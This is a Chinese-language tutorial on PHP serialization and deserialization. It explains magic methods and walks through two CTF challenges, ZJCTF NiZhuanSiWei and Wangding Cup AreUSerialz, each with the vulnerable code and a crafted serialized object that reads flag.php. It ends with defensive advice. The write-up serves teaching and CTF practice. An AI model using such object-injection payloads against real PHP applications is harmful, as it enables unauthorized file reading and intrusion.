文章目录
简介
序列化(serialize)
- 序列化是将对象或数据结构转换为可存储或传输的格式的过程。序列化的结果可以是二进制、JSON、XML或其他格式,可以被保存在文件中,发送到网络上,或者在不同程序之间传输。
- 序列化的主要目的是将对象或数据结构转换为一种通用格式,使得它们可以被不同的代码和平台所使用。实际上,通过序列化,可以使得这些对象或数据结构可以被跨越语言和平台的不同程序所使用。
- 在序列化过程中,对象或数据结构的状态被表示为一系列值,如数字、字符串、布尔值等等。这些值被编码为一种通用格式,使得它们可以在不同的程序和平台之间传输。
- 需要注意的是,在序列化过程中,可能会丢失一些对象或数据结构的信息,如方法、属性等等。因此,在进行序列化操作时,需要仔细考虑对象或数据结构的状态,以确保序列化的结果正确无误并且可以被其他程序所使用。
反序列化(unserialize)
- 反序列化是将序列化数据格式转换成原始数据的过程。在计算机科学中,序列化是将数据结构或对象转换成一种可存储或传输的格式,例如二进制格式、JSON或XML格式等。而反序列化则是将序列化数据转换成原始数据或对象,以便于进行处理和使用。
- 反序列化通常用于网络通信、数据存储和数据传输等场景。例如,在客户端和服务器之间进行通信时,数据需要序列化成特定的格式进行传输,而在接收端,需要将序列化后的数据反序列化成原始的数据结构或对象,以便于进行处理和使用。
- 然而,反序列化也可能存在安全风险。恶意用户可以通过构造恶意序列化数据来攻击系统。反序列化漏洞是一种常见的安全漏洞,它可以被黑客用于执行远程代码或数据篡改等攻击。因此,在进行反序列化操作时,应该谨慎处理数据来源并进行严格的输入验证和数据过滤。
用法
说明
JSON中的元素都是键值对——key:value形式,键值对之间以" : “分隔,每个键需用双引号引起来,值的类型为string时也需要双引号。其中value的类型包括:对象,数组,值,每种类型具有不同的语法表示。json数据中的值(value)可以是双引号括起来的字符串(string)、数值(number)、true、false、 null、对象(object)或者数组(array)。这些结构可以嵌套。对象是一个无序的键值对集合。包含在” { } “之中,每个成员用” , "分开。
语法格式
代码构造
<?php
class student{
public $name='xw';
}
$a=new student;
echo serialize($a);
**//创建类,得到类的结果**
$b=serialize($a);
echo var_dump(unserialize($b));
**//对上面的结果反序列化后**
?>
输出结果
O:7:"student":1:{s:4:"name";s:2:"xw";} //序列化
------------------------------------------------------------
object(student)#2 (1) { //反序列化
["name"]=>
string(2) "xw"
}
魔术方法
- __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
- __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。
- __wakeup():如前所提unserialize()时会检查是否存在__wakeup(),如果存在,则会优先调用 __wakeup()方法。
- __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
- __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
PHP反序列化实验
[ZJCTF 2019]NiZhuanSiWei
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
因为在代码中有提示flag.php
所以直接构造序列化语句
<?php
class Flag{
public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>
得到结果
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
构造序列化语句
<?php
class FileHandler {
public $op='02';
public $filename='flag.php';
public $content='';
}
$a=new FileHandler;
echo serialize($a);
?>
得到结果
O:11:"FileHandler":3:{s:2:"op";s:2:"02";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
防御方法
- 完整性检查,如:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改。
- 在创建对象前强制执行类型约束,因为用户的代码通常被期望使用一组可定义的类。
- 记录反序列化的失败信息。比如传输的类型不满足预期要求或者反序列化异常情况。
- 设置反序列化服务仅在本地监听或者设置相应防火墙策略
- 禁止使用存在漏洞的第三方框架库
- 过滤、禁用危险函数